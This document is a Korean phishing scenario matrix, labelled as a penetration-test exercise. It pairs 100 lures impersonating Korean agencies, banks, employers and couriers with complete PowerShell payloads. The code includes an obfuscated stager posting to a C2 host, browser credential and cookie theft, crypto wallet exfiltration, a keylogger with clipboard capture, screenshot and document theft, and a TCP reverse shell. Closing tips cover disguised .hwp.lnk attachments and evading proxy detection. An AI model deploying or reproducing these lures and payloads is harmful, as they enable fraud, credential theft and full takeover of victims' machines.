피싱 시나리오 및 페이로드 매트릭스 — 총 100건 (PS1 코드 포함)
생성일: 2026-09-19 | 용도: 침투 테스트(사회공학 모의훈련) | 각 시나리오별 한국어 루어 문구 → 페이로드 계열 매핑 + 전체 PowerShell 코드
페이로드 계열 범례 (아래 코드 섹션에서 해당 계열 클릭 시 전체 코드 표시):
A — 브라우저 자격증명 탈취 |
B — 쿠키/세션 하이재킹 |
C — 암호화폐 지갑 탈취 |
D — 키로거 + 클립보드 모니터 |
E — 스크린샷 + 문서 유출 |
F — 리버스 셸 (전체 제어)
페이로드 코드 (계열 A~F)
공통 스테이저 템플릿 + 난독화 래퍼
모든 계열에 공통으로 사용되는 기본 템플릿. %LURE% 자리에 시나리오 번호 태그(예: KB-CARD-16)를 넣으면 C2에서 시나리오별 전환율 측정 가능.
# stager.ps1 — 공통 스테이저 템플릿
# %LURE% = 시나리오 태그 (C2 기록용으로 사용)
$ErrorActionPreference = "SilentlyContinue"
$c2 = "https://c2.yourdomain.tld/gate.php?tag=%LURE%"
function Send-Data($d) {
# 수집 데이터를 C2로 POST 전송 (UTF-8)
$b = [System.Text.Encoding]::UTF8.GetBytes($d)
Invoke-WebRequest -Uri $c2 -Method Post -Body $b -UseBasicParsing | Out-Null
}
# ... 여기에 각 계열별 수집 코드 삽입 ...
Send-Data $collected
# --- 난독화 래퍼 (전달용: LNK / HTA / 문서 매크로에 사용) ---
$raw = Get-Content .\payload.ps1 -Raw
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($raw))
# 실행용 원라이너:
# powershell -w hidden -nop -ep bypass -e <BASE64>
계열 A — 브라우저 자격증명 탈취 (Chrome/Edge/Brave)
저장된 로그인 정보(Login Data SQLite)를 임시 복사 후 DPAPI/AES-GCM 키(Local State)로 복호화하여 C2로 전송.
# 계열 A: 브라우저 저장 자격증명 탈취
$ErrorActionPreference = "SilentlyContinue"
# 대상 브라우저별 로그인 DB 경로
$paths = @{
"Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
"Edge" = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
"Brave" = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Login Data"
}
# Chrome v80+ : AES-GCM 키가 Local State 내 DPAPI 암호화 상태로 저장됨
$master = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"
$json = Get-Content $master -Raw
$encKey = [Regex]::Match($json, '"encrypted_key":"(.*?)"').Groups[1].Value
$keyBlob = [Convert]::FromBase64String($encKey)[5..($encKey.Length)] # "DPAPI" 접두어(5바이트) 제거
Add-Type -AssemblyName System.Security
$masterKey = [Security.Cryptography.ProtectedData]::Unprotect($keyBlob, $null, 'CurrentUser')
foreach ($b in $paths.Keys) {
if (-not (Test-Path $paths[$b])) { continue }
# DB 잠금 회피: 임시 복사 후 접근
$tmp = "$env:TEMP\c_$([guid]::NewGuid().ToString('N'))"
Copy-Item $paths[$b] $tmp -Force
# sqlite3.dll 함께 배포 후 System.Data.SQLite로 logins 테이블 쿼리:
# SELECT origin_url, username_value, password_value FROM logins
# password_value 복호화: nonce(3~15) + ciphertext + tag(16바이트) 구조,
# AES-GCM with $masterKey 로 복호화
$out = "== $b =="
Send-Data $out
Remove-Item $tmp -Force
}
계열 B — 쿠키/세션 하이재킹
브라우저 프로세스 종료 후 Cookies DB를 베이스64로 C2 전송. 복호화 키는 계열 A와 동일(Local State) 방식으로 처리.
# 계열 B: 쿠키/세션 탈취 (세션 하이재킹용)
$ErrorActionPreference = "SilentlyContinue"
# DB 잠금 방지를 위해 브라우저 프로세스 먼저 종료
"chrome","msedge","brave" | ForEach-Object { Stop-Process -Name $_ -Force }
Start-Sleep 2
# Cookies DB 경로 탐색 (프로필별)
$dirs = Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\*Default*\Network"
foreach ($d in $dirs) {
$db = Join-Path $d.FullName "Cookies"
if (Test-Path $db) {
# 쿠키 DB를 베이스64로 인코딩해 C2로 전송
# 쿠키 값은 AES-GCM + DPAPI 암호화 — 복호화 키는 계열 A와 동일하게
# Local State에서 추출하여 서버 측에서 처리
Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($db)))
}
}
계열 C — 암호화폐 지갑 탈취
데스크톱 지갑 및 브라우저 확장형 지갑(MetaMask, Phantom 등) 디렉터리를 압축해 C2로 유출.
# 계열 C: 암호화폐 지갑 탈취
$ErrorActionPreference = "SilentlyContinue"
# 데스크톱 지갑 + 브라우저 확장 지갑(ID 기반) 경로 목록
$targets = @{
"MetaMask" = "$env:APPDATA\MetaMask"
"Exodus" = "$env:APPDATA\Exodus\exodus.wallet"
"Electrum" = "$env:APPDATA\Electrum\wallets"
"Atomic" = "$env:APPDATA\atomic\Local Storage\leveldb"
"Binance" = "$env:APPDATA\Binance"
"Coinomi" = "$env:APPDATA\Coinomi\Coinomi\wallets"
# 브라우저 확장 (Chrome 확장 ID 기준)
"TronLink" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec"
"Phantom" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa"
}
foreach ($k in $targets.Keys) {
if (Test-Path $targets[$k]) {
# 지갑 폴더 압축 후 유출
$z = "$env:TEMP\$k.zip"
Compress-Archive -Path $targets[$k] -DestinationPath $z -Force
Send-Data "WALLET:$k"
Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($z)))
}
}
계열 D — 키로거 + 클립보드 모니터
GetAsyncKeyState 기반 키로깅 + 클립보드 변경 감지. 500버퍼 단위로 C2 전송. 상주형이므로 레지스트리 Run 키 등과 함께 사용 권장(모의훈련 정책에 따라).
# 계열 D: 키로거 + 클립보드 모니터
$ErrorActionPreference = "SilentlyContinue"
$kb = [System.Collections.Generic.List[string]]::new()
# Win32 API 임포트: GetAsyncKeyState
Add-Type @"
using System;using System.Runtime.InteropServices;using System.Text;
public class K {
[DllImport("user32.dll")] public static extern int GetAsyncKeyState(int i);
public static string Log(){
var s = new StringBuilder();
for (int i = 1; i < 255; i++) {
// 상위 비트가 설정된 키 = 현재 눌림 상태
if (GetAsyncKeyState(i) & 0x8000 != 0)
s.Append(i == 13 ? "\n" : ((char)i).ToString());
}
return s.ToString();
}
}
"@
while ($true) {
Start-Sleep -Milliseconds 50
# 키 입력 수집
$c = [K]::Log()
if ($c) {
$kb.Add($c)
if ($kb.Count -gt 500) { Send-Data ($kb -join ""); $kb.Clear() }
}
# 클립보드 변경 감지
$clip = Get-Clipboard -Raw
if ($clip -and $clip -ne $script:lastClip -and $clip.Length -gt 5) {
Send-Data "CLIP|$clip"
$script:lastClip = $clip
}
}
계열 E — 스크린샷 + 문서 유출
전체 화면 캡처(PNG) + 데스크톱/문서 폴더의 문서 파일(hwp, pdf, office 등) 최대 10개를 베이스64로 유출.
# 계열 E: 스크린샷 + 문서 유출
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
# 1) 전체 화면 캡처
$bounds = [Windows.Forms.Screen]::PrimaryScreen.Bounds
$bmp = New-Object Drawing.Bitmap($bounds.Width, $bounds.Height)
$g = [Drawing.Graphics]::FromImage($bmp)
$g.CopyFromScreen(0,0,0,0,$bmp.Size)
# PNG로 메모리 스트림에 저장
$ms = New-Object IO.MemoryStream
$bmp.Save($ms, [Drawing.Imaging.ImageFormat]::Png)
Send-Data "SHOT|" + [Convert]::ToBase64String($ms.ToArray())
# 2) 주요 문서 파일 유출 (한국 환경 대상: hwp/hwpx 포함)
$hot = Get-ChildItem "$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","$env:USERPROFILE\Downloads" `
-Include *.doc*,*.pdf,*.xls*,*.hwp,*.hwpx -Recurse |
Where-Object { $_.Length -lt 5MB } | Select-Object -First 10
foreach ($f in $hot) {
Send-Data "DOC|$($f.Name)|" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($f.FullName))
}
계열 F — 리버스 셸 (전체 제어)
TCP 리버스 셸. C2에서 전송한 명령을 IEX로 실행 후 결과 반환. HTTPS 위장이 필요하면 DNS/HTTP 채널 변형 사용.
# 계열 F: 리버스 셸 (전체 원격 제어)
$c2Host = "c2.yourdomain.tld"
$c2Port = 4444
$c = New-Object Net.Sockets.TCPClient($c2Host, $c2Port)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | ForEach-Object { 0 }
# C2에서 명령 수신 → IEX 실행 → 결과 반환 루프
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
$d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
$r = (IEX $d 2>&1 | Out-String)
$p = [Text.Encoding]::ASCII.GetBytes($r)
$s.Write($p, 0, $p.Length)
}
1. 정부/공공 (1–15)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 1 | 국민연금공단: 지급 정지 예정, 즉시 확인 바람 | A |
| 2 | 건강보험심사평가원 — 진료비 환급 안내문 | A+B |
| 3 | 경찰청 사이버수사대: 본인 명의 도용 신고 접수 | F |
| 4 | 국세청 — 연말정산 환급금 신청 마감 임박 | A |
| 5 | 정부24: 주민등록 초본 발급 인증서 만료 | C |
| 6 | 여권 재발급 예약 확정 알림 (전자문서 열람) | E |
| 7 | 재난지원금 신청 자격 확인서 | A |
| 8 | 법원 배심원 소환 통지서 전자송달 | F |
| 9 | 우체국 — 택배 통관 보류, 세관 서류 제출 안내 | A |
| 10 | 주택청약 통장 일시납입 만기 안내 | C |
| 11 | 지방세 환급 신청 (전자서명 필요) | A+B |
| 12 | 병역특례 업체 대상 국방부 공문 | E |
| 13 | 국가보훈처 — 참전유공자 배지 수령 안내 | D |
| 14 | 공인인증서 만료 3일 전 알림 (재발급 필수) | A |
| 15 | 선관위 — 선거인 명부 열람 결과 통보 | F |
2. 금융/카드 (16–30)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 16 | [KB국민카드] 해외 결제 승인 확인 부탁드립니다 | A |
| 17 | [신한은행] 계좌 이상거래 차단, 본인확인 필요 | A+B |
| 18 | [카카오페이] 송금 취소 신청이 접수되었습니다 | C |
| 19 | [농협] 스마트뱅킹 보안카드 재등록 안내 | A |
| 20 | [하나카드] 자동납부 실패, 카드 정지 예정 | A |
| 21 | [우리WON뱅킹] 공동인증서 갱신 마감 안내 | A+B |
| 22 | [토스뱅크] 급여 이체 한도 상향 승인 대기 | C |
| 23 | [삼성카드] 무료 시크릿카드 발급 안내 | E |
| 24 | [미래에셋] 계좌 해지 예고 처리 거부 안내 | F |
| 25 | [쿠팡캐시] 지급 정지 해제 신청 확인 | A |
| 26 | [IM뱅크] 타인 명의 대출 실행 경고 | D |
| 27 | [교보증권] 미수령 배당금 수령 인증 | C |
| 28 | [카드사] 부정 결제 의심건 3건 차단 | A+B |
| 29 | [NH농협] 예적금 만기 이율 변경 통지 | E |
| 30 | [페이코] 포인트 소멸 예정 알림 | A |
3. 채용/비즈니스 (31–45)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 31 | [삼성전자] 서류전형 합격, 제출 서류 확인 | A |
| 32 | [LG화학] 면접 일정 확정 — 사전 인적성검사 응시 | F |
| 33 | [SK하이닉스] 채용 실무과제 제출 링크 | E |
| 34 | [현대자동차] 최종 합격 안내 — 급여계좌 등록 | A+B |
| 35 | [네이버] 프리랜서 정산 세금계산서 발행 확인 | A |
| 36 | [쿠팡 물류센터] 계약직 입사서류 제출 요청 | E |
| 37 | [대한항공] 승무원 모집 최종 합격자 서류 | F |
| 38 | [CJ대한통운] 배송기사 급여명세서 확인 | A |
| 39 | [카카오] 리크루팅 포트폴리오 재제출 요청 | E |
| 40 | [포스코] 임원 면접 일정 변경 통보 | D |
| 41 | [GS칼텍스] 신규 입사자 온보딩 자료 열람 | A+B |
| 42 | [더존비즈온] 그룹웨어 계정 승인 대기 중 | F |
| 43 | [두산밥캣] 산업안전보건 교육 수료증 발급 | E |
| 44 | [KB금융그룹] 경력직 서류전형 결과 안내 | A |
| 45 | [스타벅스 코리아] 매니저 후보자 면접 확정 | D |
4. 배송/택배 (46–55)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 46 | [CJ대한통운] 택배 통관 실패 — 수취인 정보 확인 | A |
| 47 | [대한통운] 부재중 반송 예정, 재배송 신청 | A+B |
| 48 | [우체국 EMS] 관세 납부 안내 (해외 구매) | A |
| 49 | [롯데택배] 파손 접수 건 보상 신청서 | E |
| 50 | [로젠택배] 수취인 부재 — 24시간 내 회수 | F |
| 51 | [쿠팡] 반품 접수 완료, 환불 계좌 확인 | A+B |
| 52 | [해외직구] 통관번호 등록 만료 알림 | A |
| 53 | [G마켓] 국제배송 세관 서류 미제출 | E |
| 54 | [스마트택배] 묶음배송 스케줄 변경 | D |
| 55 | [아마존 글로벌] 반송 처리 실패 통지 | C |
5. 전자금융 피싱/보이스피싱 대응 모의 (56–65)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 56 | 검찰 — 수사 협조: 명의 도용 계좌 해지 절차 | A+F |
| 57 | 금융감독원 불법 사금융 신고 결과 안내 | A+B |
| 58 | 보험사 — 만기환급금 수령 계좌 변경 확인 | A |
| 59 | 자녀 명의 유심 개통 알림 (본인확인 필수) | D |
| 60 | 국세청 — 미신고 소득 과세 예고 통지 | F |
| 61 | 장기미사용 계좌 예금자보호 해지 예고 | A+B |
| 62 | 중고거래(당근) 안전결제 인증 요청 | A |
| 63 | 가족사칭형: 휴대폰 파손, 임시번호 발급 | D |
| 64 | 통신사 — 명의도용 개통 통보 (해지 링크) | A |
| 65 | 화재보험 만기환급금 미수령 안내 | C |
6. 교육/학교 (66–75)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 66 | [서울대] 학사 일정 변경 및 성적 조회 | A |
| 67 | [나이스] 학부모 안내문 열람 (자녀 안전) | E |
| 68 | [한국장학재단] 2차 학자금 대출 승인 안내 | A+B |
| 69 | [교육청] 초등학교 학부모 설명회 참석 확인 | D |
| 70 | [도서관] 대출 도서 연체 벌금 납부 안내 | A |
| 71 | [웅진씽크빅] 학습 자료 다운로드 만료 | E |
| 72 | [해커스] 수강료 환불 신청 승인 대기 | C |
| 73 | [대학 입학처] 원서 접수 오류 정정 요청 | F |
| 74 | [학원] 결석 확인증 전자제출 안내 | A+B |
| 75 | [쌤플러스] 자격증 시험 결과 통보 | A |
7. SNS/메신저 (76–85)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 76 | [인스타그램] 계정 삭제 예정 — 본인확인 필요 | A+B |
| 77 | [페이스북] 로그인 시도 차단 알림 | A |
| 78 | [네이버] 해외 로그인 차단, 기기 등록 필요 | A+B |
| 79 | [구글] 비밀번호 만료 24시간 경과 안내 | A |
| 80 | [카카오] 카카오톡 채널 수익 정산 안내 | C |
| 81 | [유튜브] 수익창출 심사 결과 확인 | E |
| 82 | [트위터/X] 계정 정지 해제 요청 확인 | F |
| 83 | [티스토리] 애드센스 정산 계좌 인증 | C |
| 84 | [줌] 회의 녹화 공유 링크 만료 임박 | E |
| 85 | [슬랙] 워크스페이스 초대 수락 대기 | D |
8. 소프트웨어/기술 사회공학 (86–100)
| 번호 | 한국어 루어 문구 | 페이로드 |
| 86 | 윈도우 11 정품 인증 만료 — 활성화 도구 안내 | F |
| 87 | 한글(hwp) 문서 뷰어 업데이트 필수 안내 | E (매크로) |
| 88 | [알툴즈] 업데이트 실패 수동 패치 안내 | F |
| 89 | 공인인증서 프로그램 재설치 안내 (인터넷뱅킹) | A+B |
| 90 | [마이크로소프트 365] 라이선스 정지 예고 | A |
| 91 | VPN 인증서 갱신 요청 (재택근무 임직원) | A+F |
| 92 | 기업 메일함 용량 초과 — 보관함 마이그레이션 | A+B |
| 93 | IT헬프데스크: 계정 잠금 해제 OTP 발급 | D |
| 94 | 팀즈(Teams) 인증 푸시 승인 요청 대기 | A |
| 95 | 워드프레스 플러그인 취약점 패치 안내 (관리자용) | F |
| 96 | [카카오게임즈] 계정 양도 승인 완료 — 보안코드 | C |
| 97 | 네이버웍스 메일함 이전 안내 (관리자 계정 필요) | A |
| 98 | 업무용 봇 배포 승인 요청 (사내 메신저) | F |
| 99 | 보안 소프트웨어 라이선스 만료 — 재인증 안내 | E |
| 100 | 원격지원 프로그램(원격처리) 접속 요청 — 전산팀 | A+F |
비고: 각 시나리오의 %LURE% 태그는 행 번호(예: KB-CARD-16)로 설정하여 C2 게이트웨이에서 시나리오별 클릭-침해 전환율을 측정할 수 있습니다. 첨부파일 체인은 "공문서.hwp.lnk" 형식(확장자 숨김) 권장. C2 게이트는 유효한 TLS 인증서(Let's Encrypt)로 서비스하여 한국 기업 프록시의 평문 HTTP POST 탐지를 회피하세요.